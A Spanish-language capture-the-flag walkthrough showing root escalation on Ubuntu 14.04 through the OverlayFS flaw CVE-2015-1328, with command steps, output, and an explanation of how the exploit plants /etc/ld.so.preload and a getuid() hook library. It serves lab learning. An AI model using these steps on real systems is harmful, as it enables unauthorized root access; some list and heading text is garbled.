
Guía paso a paso para explotar CVE-2015-1328 (OverlayFS) y escalar privilegios de un usuario con bajos privilegios a root en Ubuntu 14.04. Incluye enumeración, compilación del exploit y ejecución.
El objetivo de este walkthrough era escalar privilegios de un usuario con pocos privilegios (karen) a root explotando un kernel de Linux vulnerable.
Después de conectarme a la máquina objetivo por SSH:
ssh karen@<target-ip>
Identifiqué la versión del kernel de Linux:
uname -r
Salida:
3.13.0-24-generic
La máquina ejecutaba Ubuntu 14.04 con el kernel 3.13.0-24-generic.
Dado que la escalada de privilegios en Linux a menudo depende de kernels vulnerables, busqué en Exploit-DB usando SearchSploit:
searchsploit overlayfs ubuntu 3.13
Resultado:
Linux Kernel 3.13.0 < 3.19 (Ubuntu...) - overlayfs Local Privilege Escalation
37292.c
Este exploit tiene como objetivo CVE-2015-1328, que afecta a los kernels de Ubuntu anteriores a las versiones parcheadas.
Antes de ejecutar cualquier exploit, es importante entender qué hace.
El exploit abusa de una falla en OverlayFS, el sistema de archivos union de Linux.
La vulnerabilidad existe porque OverlayFS maneja incorrectamente los permisos de archivo cuando se monta dentro de un espacio de nombres de usuario (CLONE_NEWUSER).
Un usuario sin privilegios puede manipular OverlayFS para crear o modificar archivos que solo deberían poder ser escritos por root.
El exploit finalmente escribe en:
/etc/ld.so.preload
Este archivo le indica al cargador dinámico de Linux que cargue una librería compartida antes de cada ejecutable vinculado dinámicamente.
Al forzar al sistema a cargar una librería compartida maliciosa, el exploit obtiene ejecución de código como root.
Usando SearchSploit:
searchsploit -m 37292
Esto copió el exploit localmente:
37292.c
Luego, el exploit se transfirió a la máquina víctima.
En este walkthrough, se guardó como:
/tmp/ofs.c
Navega al directorio que contiene el exploit:
cd /tmp
Compílalo usando GCC:
gcc ofs.c -o ofs
Si la compilación tiene éxito, GCC no produce ninguna salida.
Verifica que el ejecutable exista:
ls -l
Esperado:
-rwxr-xr-x ... ofs
Ejecuta el ejecutable:
./ofs
El exploit imprime mensajes similares a:
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
Finalmente, genera una shell root:
#
Verifica los privilegios:
id
Salida:
uid=0(root) gid=0(root)
Con los privilegios root obtenidos:
cat /home/matt/flag1.txt
Ahora el archivo pudo leerse correctamente.
El exploit realiza varias acciones internamente.
unshare(CLONE_NEWUSER);
Los espacios de nombres de usuario de Linux permiten que un proceso sin privilegios aparente ser root dentro del espacio de nombres, sin ser root en el host.
Esta capacidad es esencial para el ataque.
clone(... CLONE_NEWNS ...)
Un espacio de nombres de montaje separado aísla los cambios del sistema de archivos del resto del sistema operativo.
Esto permite que el exploit monte OverlayFS sin afectar el sistema de archivos global.
El exploit crea directorios temporales:
/tmp/ns_sploit/
├── upper/
├── work/
└── o/
Luego monta OverlayFS:
Lower Layer
│
▼
OverlayFS
│
▼
Upper Layer
Debido a la vulnerabilidad del kernel, OverlayFS permite incorrectamente operaciones que deberían requerir privilegios de root.
/etc/ld.so.preloadEl exploit renombra un archivo escribible dentro del montaje de OverlayFS a:
ld.so.preload
Después de remontar OverlayFS sobre /etc, este archivo se convierte en:
/etc/ld.so.preload
Normalmente, solo root debería poder crear este archivo.
El exploit escribe un archivo fuente en C:
/tmp/ofs-lib.c
Luego lo compila:
gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c
La librería compartida resultante sobrescribe la función getuid().
El exploit escribe:
/tmp/ofs-lib.so
en:
/etc/ld.so.preload
Ahora, cada ejecutable vinculado dinámicamente carga esta librería maliciosa antes que cualquier librería del sistema.
/bin/suFinalmente:
execl("/bin/su", "su", NULL);
Cuando su se inicia, la función maliciosa getuid() se ejecuta en lugar de la original.
La librería:
/etc/ld.so.preloadsetresuid(0,0,0);
setresgid(0,0,0);
/bin/sh
El resultado es una shell root interactiva.
La vulnerabilidad se debe a un manejo incorrecto de permisos en OverlayFS cuando se usa dentro de espacios de nombres de usuario.
Un usuario sin privilegios puede manipular OverlayFS para crear archivos privilegiados como:
/etc/ld.so.preload
Dado que el cargador dinámico confía en este archivo, se ejecuta código arbitrario como root.
Esta vulnerabilidad fue parcheada por Ubuntu en versiones actualizadas del kernel.
Las estrategias de mitigación incluyen:
/etc/ld.so.preload/etc/ld.so.cache# Enumerate kernel version
uname -r
# Search for exploit
searchsploit overlayfs ubuntu 3.13
# Copy exploit locally
searchsploit -m 37292
# Compile exploit
gcc ofs.c -o ofs
# Execute exploit
./ofs
# Verify privileges
id
# Read flag
cat /home/matt/flag1.txt